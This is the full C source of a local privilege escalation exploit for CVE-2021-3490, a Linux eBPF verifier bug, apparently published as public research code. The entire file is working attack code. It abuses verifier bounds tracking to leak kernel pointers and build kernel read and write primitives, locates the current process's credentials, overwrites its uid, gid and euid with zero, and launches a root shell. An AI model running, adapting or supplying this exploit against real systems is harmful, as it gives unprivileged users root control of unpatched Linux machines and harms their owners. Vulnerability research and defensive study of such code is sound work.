/**
    LPE exploit for CVE-2021-3490
    
    The vulnerability was discovered by Manfred Paul @_manfp and fixed in commit 
    https://git.kernel.org/pub/scm/linux/kernel/git/bpf/bpf.git/commit/?id=049c4e13714ecbca567b4d5f6d563f05d431c80e
    
    author: @chompie1337

    For educational/research purposes only. Use at your own risk.
*/

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <linux/bpf.h>

#include "bpf_defs.h"
#include "kernel_defs.h"
#include "kmem_search.h"
#include "exploit_configs.h"


int kernel_read_uint(exploit_context* pCtx, uint64_t addr, uint32_t* puiData)
{
    int ret = -1;
    char vals[ARRAY_MAP_SIZE] = {0};
    uint64_t btf_addr = addr - BTF_ID_OFFSET;
    struct bpf_map_info_kernel info = {0};
    union bpf_attr attrs = 
    {
        .info.bpf_fd = pCtx->oob_map_fd,
        .info.info = (long long unsigned int)&info,
        .info.info_len = sizeof(info)
    };
    struct bpf_insn insn[] =
    {
        exploit_primitive_pt1(pCtx->oob_map_fd, pCtx->store_map_fd),
        exploit_primitive_pt2,
        // exploit reg value is BPF_MAP_BTF_OFFSET (verifier believes its 0)
        BPF_ALU64_IMM(BPF_MUL, EXPLOIT_REG, BPF_MAP_BTF_OFFSET),
        // subtract BPF_MAP_BTF_OFFSET from oob map value pointer so it points to
        // bpf_map->btf
        BPF_ALU64_REG(BPF_SUB, OOB_MAP_REG, EXPLOIT_REG),
        // load the leak address from store map
        BPF_LDX_MEM(BPF_DW, LEAK_VAL_REG, STORE_MAP_REG, 8),
        // set bpf_map->btf = leak address. using BPF syscall with command 
        // BPF_OBJ_GET_INFO_BY_FD will return the value of bpf_map->btf->id
        BPF_STX_MEM(BPF_DW, OOB_MAP_REG, LEAK_VAL_REG, 0),
        BPF_EXIT_INSN()
    };

    memcpy(&vals[sizeof(uint64_t)], &btf_addr, sizeof(uint64_t));

    if(0 != update_map_element(pCtx->store_map_fd, 0, vals, BPF_ANY))
    {
        printf("[-] failed to update map element values!\n");
        goto done;
    }

    if(0 != run_bpf_prog(insn, sizeof(insn) / sizeof(insn[0]), &pCtx->prog_fd))
    {
        printf("[-] failed to run eBPF program!\n");
        goto done;
    }

    if(0 != obj_get_info_by_fd(&attrs))
    {
        printf("[-] failed to leak memory with BPF_OBJ_GET_INFO_BY_FD \n");
        goto done;
    }

    *puiData = info.btf_id;
    ret = 0;

done:
    return ret;
}

int kernel_read(exploit_context* pCtx, uint64_t addr, char* buffer, uint32_t len)
{
    int ret = -1;

    for(uint32_t i = 0; i < len; i += sizeof(uint32_t))
    {
        uint32_t val = 0;

        if(0 != kernel_read_uint(pCtx, addr + i, &val))
        {
            goto done;
        }

        *(uint32_t*)(buffer + i) = val;
    }

    ret = 0;

done:
    return ret; 
}

int kernel_write_uint(exploit_context* pCtx, uint64_t addr, uint32_t val)
{
    int ret = -1;
    char vals[ARRAY_MAP_SIZE] = {0};

    // addr will be set to index(val) + 1 in array_map_get_next_key
    val -=1;

    memcpy(vals, &val, sizeof(uint32_t));

    if(0 != update_map_element(pCtx->oob_map_fd, 0, vals, addr))
    {
        printf("[-] kernel write failed!\n");
        goto done;
    }

    ret = 0;

done:
    return ret;
}

int kernel_write(exploit_context* pCtx, uint64_t addr, char* buffer, uint32_t len)
{
    int ret = -1;

    for(uint32_t i = 0; i < len; i += sizeof(uint32_t))
    {
    	addr += i;
        uint32_t val = *(uint32_t*)(buffer + i);

        if(0 != kernel_write_uint(pCtx, addr, val))
        {
            goto done;
        }
    }

    ret = 0;

done:
    return ret; 
}

int create_bpf_maps(exploit_context* pCtx)
{
    int ret = -1;
    int oob_map_fd = -1;
    int store_map_fd = -1;
    char vals[ARRAY_MAP_SIZE] = {0};
    union bpf_attr map_attrs =
    {
        .map_type = BPF_MAP_TYPE_ARRAY,
        .key_size = 4,
        .value_size = ARRAY_MAP_SIZE,
        .max_entries = 1,
    };

    oob_map_fd = create_map(&map_attrs);
    store_map_fd = create_map(&map_attrs);

    if((oob_map_fd < 0) || (store_map_fd) < 0)
    {
        printf("[-] failed to create bpf array map!\n");
        goto done;
    }

    if(0 != update_map_element(oob_map_fd, 0, vals, BPF_ANY))
    {
        printf("[-] failed to update map element values!\n");
        goto done;
    }

    if(0 != update_map_element(store_map_fd, 0, vals, BPF_ANY))
    {
        printf("[-] failed to update map element values!\n");
        goto done;
    }

    pCtx->oob_map_fd = oob_map_fd;
    pCtx->store_map_fd = store_map_fd;

    ret = 0;

done:
    return ret;
}

int leak_oob_map_ptr(exploit_context* pCtx)
{
    int ret = -1;
    char vals[ARRAY_MAP_SIZE] = {0};
    struct bpf_insn insn[] =
    {
        exploit_primitive_pt1(pCtx->oob_map_fd, pCtx->store_map_fd),
        // extend the exploit register's invalid bounds to 64 bits
        BPF_MOV32_REG(EXPLOIT_REG, EXPLOIT_REG), \
        // adding a register with invalid bounds to a pointer causes the verifier to 
        // mark it as an unbounded value, so we are able to leak its value by saving it
        // in the store map
        BPF_ALU64_REG(BPF_SUB, OOB_MAP_REG, EXPLOIT_REG), \
        // put the value in leak value register
        BPF_MOV64_REG(LEAK_VAL_REG, OOB_MAP_REG), \
        // store the leaked BPF ptr into store map
        BPF_STX_MEM(BPF_DW, STORE_MAP_REG, LEAK_VAL_REG, 8), \
        BPF_EXIT_INSN()
    };

    if(0 != run_bpf_prog(insn, sizeof(insn) / sizeof(insn[0]), NULL))
    {
        printf("[-] failed to run eBPF program!\n");
        goto done;
    }

    if(0 != lookup_map_element(pCtx->store_map_fd, 0, vals))
    {
        printf("[-] failed to retrieve storage map element!\n");
        goto done;
    }

    memcpy(&pCtx->oob_map_ptr, &vals[sizeof(uint64_t)], sizeof(uint64_t));

    if(!IS_KERNEL_POINTER(pCtx->oob_map_ptr))
    {
        goto done;
    }

    ret = 0;

done:
    return ret;
}

int leak_array_map_ops(exploit_context* pCtx)
{
    int ret = -1;
    char vals[ARRAY_MAP_SIZE] = {0};
    struct bpf_insn insn[] =
    {
        exploit_primitive_pt1(pCtx->oob_map_fd, pCtx->store_map_fd),
        exploit_primitive_pt2,
        // exploit reg value is BPF_MAP_OPS_OFFSET (verifier believes its 0)
        BPF_ALU64_IMM(BPF_MUL, EXPLOIT_REG, BPF_MAP_OPS_OFFSET),
        // subtract BPF_MAP_OPS_OFFSET from oob map value pointer, so it points 
        // to bpf_map->ops
        BPF_ALU64_REG(BPF_SUB, OOB_MAP_REG, EXPLOIT_REG),
        // read the value of array_map_ops
        BPF_LDX_MEM(BPF_DW, LEAK_VAL_REG, OOB_MAP_REG, 0),
        // store the leaked array_map_ops ptr into store map
        BPF_STX_MEM(BPF_DW, STORE_MAP_REG, LEAK_VAL_REG, 8),
        BPF_EXIT_INSN()
    };

    if(0 != run_bpf_prog(insn, sizeof(insn) / sizeof(insn[0]), NULL))
    {
        printf("[-] failed to run eBPF program!\n");
        goto done;
    }

    if(0 != lookup_map_element(pCtx->store_map_fd, 0, vals))
    {
        printf("[-] failed to retrieve storage map element!\n");
        goto done;
    }

    memcpy(&pCtx->array_map_ops, &vals[sizeof(uint64_t)], sizeof(uint64_t));

    if(!IS_KERNEL_POINTER(pCtx->array_map_ops))
    {
        goto done;
    }

    ret = 0;

done:
    return ret;
}

int test_kernel_read(exploit_context* pCtx)
{
    int ret = -1;
    uint64_t kernel_addr = 0;

    pCtx->state = EXPLOIT_STATE_READ;

    if(0 != kernel_read(pCtx, pCtx->array_map_ops, (char*)&kernel_addr, sizeof(uint64_t)))
    {
        goto done;
    }

    if(!IS_KERNEL_POINTER(kernel_addr))
    {
        goto done;
    }

    ret = 0;  
    
done:
    return ret;
}

int prepare_kernel_write(exploit_context* pCtx)
{
    int ret = -1;
    char array_map_ops[ARRAY_MAP_SIZE] = {0};
    uint64_t array_map_get_next_key = 0;
    struct bpf_insn insn[] =
    {
        exploit_primitive_pt1(pCtx->oob_map_fd, pCtx->store_map_fd),
        exploit_primitive_pt2,
        // store copy of exploit register
        BPF_MOV64_REG(COPY_REG, EXPLOIT_REG),
        // load oob map values pointer in leak register
        BPF_LD_IMM64(LEAK_VAL_REG, pCtx->oob_map_ptr),
        // exploit reg value is BPF_MAP_OPS_OFFSET (verifier believes its 0)
        BPF_ALU64_IMM(BPF_MUL, EXPLOIT_REG, BPF_MAP_OPS_OFFSET),
        // subtract BPF_MAP_OPS_OFFSET from oob map value pointer, so it points 
        // to bpf_map->ops
        BPF_ALU64_REG(BPF_SUB, OOB_MAP_REG, EXPLOIT_REG),
        // overwrite bpf_map->ops to point to the first value in oob map, where we store
        // fake bpf_map_ops structure
        BPF_STX_MEM(BPF_DW,  OOB_MAP_REG, LEAK_VAL_REG, 0),
        // restore oob map value pointer
        BPF_ALU64_REG(BPF_ADD, OOB_MAP_REG, EXPLOIT_REG),
        // restore exploit reg
        BPF_MOV64_REG(EXPLOIT_REG, COPY_REG),
        // set constant register to 0
        BPF_MOV64_IMM(CONST_REG, 0x0),
        // exploit reg value is BPF_MAP_SPIN_LOCK_OFF_OFFSET (verifier believes its 0)
        BPF_ALU64_IMM(BPF_MUL, EXPLOIT_REG, BPF_MAP_SPIN_LOCK_OFF_OFFSET),
        // subtract BPF_MAP_SPIN_LOCK_OFF_OFFSET from oob map value pointer, so it points 
        // to bpf_map->spin_lock_off
        BPF_ALU64_REG(BPF_SUB, OOB_MAP_REG, EXPLOIT_REG),
        // set bpf_map->spin_lock_off = 0 to bypass checks 
        BPF_STX_MEM(BPF_W, OOB_MAP_REG, CONST_REG, 0),
        // restore oob map value pointer
        BPF_ALU64_REG(BPF_ADD, OOB_MAP_REG, EXPLOIT_REG),
        // restore exploit reg
        BPF_MOV64_REG(EXPLOIT_REG, COPY_REG),
        // set constant register to 0xFFFFFFFF
        BPF_MOV64_IMM(CONST_REG, 0xFFFFFFFF),
        // exploit reg value is BPF_MAP_MAX_ENTRIES_OFFSET (verifier believes its 0)
        BPF_ALU64_IMM(BPF_MUL, EXPLOIT_REG, BPF_MAP_MAX_ENTRIES_OFFSET),
        // subtract BPF_MAP_MAX_ENTRIES_OFFSET from oob map value pointer, so it points 
        // to bpf_map->max_entries
        BPF_ALU64_REG(BPF_SUB, OOB_MAP_REG, EXPLOIT_REG),
        // set bpf_map->max_entries = 0xFFFFFFFF 
        BPF_STX_MEM(BPF_W, OOB_MAP_REG, CONST_REG, 0),
        // restore oob map value pointer
        BPF_ALU64_REG(BPF_ADD, OOB_MAP_REG, EXPLOIT_REG),
        // restore exploit reg
        BPF_MOV64_REG(EXPLOIT_REG, COPY_REG),
        // set constant register to BPF_MAP_TYPE_STACK
        BPF_MOV64_IMM(CONST_REG, BPF_MAP_TYPE_STACK),
        // exploit reg value is BPF_MAP_TYPE_OFFSET (verifier believes its 0)
        BPF_ALU64_IMM(BPF_MUL, EXPLOIT_REG, BPF_MAP_TYPE_OFFSET),
        // subtract BPF_MAP_TYPE_OFFSET from oob map value pointer, so it points 
        // to bpf_map->map_type
        BPF_ALU64_REG(BPF_SUB, OOB_MAP_REG, EXPLOIT_REG),
        // set bpf_map->map_type = BPF_MAP_TYPE_STACK to be able to call map_push_elem
        BPF_STX_MEM(BPF_W, OOB_MAP_REG, CONST_REG, 0),
        BPF_EXIT_INSN()
    };

    if(0 != kernel_read(pCtx, pCtx->array_map_ops, array_map_ops, BPF_MAP_OPS_OFFSET))
    {
        goto done;
    }

    memcpy(&array_map_get_next_key, &array_map_ops[MAP_OPS_GET_NEXT_KEY_OFFSET], sizeof(uint64_t));

    if(!IS_KERNEL_POINTER(array_map_get_next_key))
    {
        goto done;
    }

    memcpy(&array_map_ops[MAP_OPS_PUSH_ELEM_OFFSET], &array_map_get_next_key, sizeof(uint64_t));

    if(0 != update_map_element(pCtx->oob_map_fd, 0, array_map_ops, BPF_ANY))
    {
        printf("[-] failed to update map element values!\n");
        goto done;
    }

    if(0 != run_bpf_prog(insn, sizeof(insn) / sizeof(insn[0]), NULL))
    {
        printf("[-] failed to run eBPF program!\n");
        goto done;
    }

    pCtx->state = EXPLOIT_STATE_WRITE;

    ret = 0;

done:
    return ret;
}

int overwrite_cred(exploit_context* pCtx)
{
    int ret = -1;

    if(0 != kernel_write_uint(pCtx, pCtx->cred + CRED_UID_OFFSET, 0))
    {
        goto done;
    }

    if(0 != kernel_write_uint(pCtx, pCtx->cred + CRED_GID_OFFSET, 0))
    {
        goto done;
    }

    if(0 != kernel_write_uint(pCtx, pCtx->cred + CRED_EUID_OFFSET, 0))
    {
        goto done;
    }

    ret = 0;

done:
    return ret;
}

void cleanup_read(exploit_context* pCtx)
{
    struct bpf_insn insn[] =
    {
        exploit_primitive_pt1(pCtx->oob_map_fd, pCtx->store_map_fd),
        exploit_primitive_pt2,
        // exploit reg value is BPF_MAP_BTF_OFFSET (verifier believes its 0)
        BPF_ALU64_IMM(BPF_MUL, EXPLOIT_REG, BPF_MAP_BTF_OFFSET),
        // subtract BPF_MAP_BTF_OFFSET from oob map value pointer so it points to
        // bpf_map->btf
        BPF_ALU64_REG(BPF_SUB, OOB_MAP_REG, EXPLOIT_REG),
        // set constant register to 0
        BPF_MOV64_IMM(CONST_REG, 0x0),
        // overwrite the value of bpf_map->btf to 0
        BPF_STX_MEM(BPF_DW, OOB_MAP_REG, CONST_REG , 0),
        BPF_EXIT_INSN()
    };

    if(0 != run_bpf_prog(insn, sizeof(insn) / sizeof(insn[0]), NULL))
    {
        printf("[-] warning, failed to run cleanup read BPF program!\n");
    }

    pCtx->state = EXPLOIT_STATE_CLEAN;
}

void cleanup_write(exploit_context* pCtx)
{
    uint64_t null = 0;

    // restore bpf_map->btf = NULL
    if(0 != kernel_write(pCtx, pCtx->oob_map_ptr - BPF_MAP_BTF_OFFSET, (char*)&null, sizeof(uint64_t)))
    {
        printf("[-] warning, cleanup failed! this will cause instability...\n");
        goto done;
    }

    // restore bpf_map->map_type = BPF_MAP_TYPE_ARRAY
    if(0 != kernel_write_uint(pCtx, pCtx->oob_map_ptr - BPF_MAP_TYPE_OFFSET, BPF_MAP_TYPE_ARRAY))
    {
        printf("[-] warning, cleanup failed! this will cause instability...\n");
        goto done;
    }

    // We can't restore the rest of the values without breaking the write primitive, and we can't run another BPF program
    // because we overwrote spin_lock_off. However, this is enough to exit cleanly. 

    pCtx->state = EXPLOIT_STATE_CLEAN;

done:
    return;
}

void cleanup(exploit_context* pCtx)
{
    switch(pCtx->state)
    {
        case EXPLOIT_STATE_READ:
            cleanup_read(pCtx);
            break;
        case EXPLOIT_STATE_WRITE:
            cleanup_write(pCtx);
            break;
        case EXPLOIT_STATE_CLEAN:
        default:
        break;
    }
}

int main(int argc, char **argv)
{
    exploit_context ctx = {0};
    pid_t current_pid = getpid();

    if(0 != create_bpf_maps(&ctx))
    {
        printf("[-] failed to create bpf maps!\n");
        goto done;
    }

    printf("[+] eBPF enabled, maps created!\n");

    if(0 != leak_oob_map_ptr(&ctx))
    {
        printf("[-] failed to leak ptr to BPF map!\n");
        goto done;
    }

    printf("[+] addr of oob BPF array map: %lx\n", ctx.oob_map_ptr);

    if (0 != leak_array_map_ops(&ctx))
    {
        printf("[-] failed to leak address of array_map_ops!\n");
        goto done;
    }

    printf("[+] addr of array_map_ops: %lx\n", ctx.array_map_ops);

    if(0 != test_kernel_read(&ctx))
    {
        printf("[-] kernel read failed!\n");
        goto done;
    }

    printf("[+] kernel read successful!\n");
    printf("[!] searching for init_pid_ns in kstrtab ...\n");

    if(0 !=  search_init_pid_ns_kstrtab(&ctx))
    {
        printf("[-] failed to find init_pid_ns in kstrtab!\n");
        goto done;
    }

    printf("[+] addr of init_pid_ns in kstrtab: %lx\n", ctx.init_pid_ns_kstrtab);
    printf("[!] searching for init_pid_ns in ksymtab...\n");

    if(0 != search_init_pid_ns_ksymtab(&ctx))
    {
        printf("[-] failed to find init_pid_ns in ksymtab!\n");
        goto done;
    }

    printf("[+] addr of init_pid_ns %lx\n", ctx.init_pid_ns);
    printf("[!] searching for creds for pid: %0x\n", current_pid);

    if(0 != find_pid_cred(&ctx, current_pid))
    {
        printf("[-] failed to find addr of current creds!\n");
        goto done;
    }

    printf("[+] addr of cred structure: %lx\n", ctx.cred);

    if(0 != prepare_kernel_write(&ctx))
    {
        printf("[-] failed to set up maps for kernel write!\n");
        goto done;
    }

    printf("[!] preparing to overwrite creds...\n");

    if(0 != overwrite_cred(&ctx))
    {
        printf("[-] LPE failed :(\n");
        goto done;
    }

    printf("[+] success! enjoy r00t :)\n");
    system("sh");

done:
    cleanup(&ctx);
    return 0;
}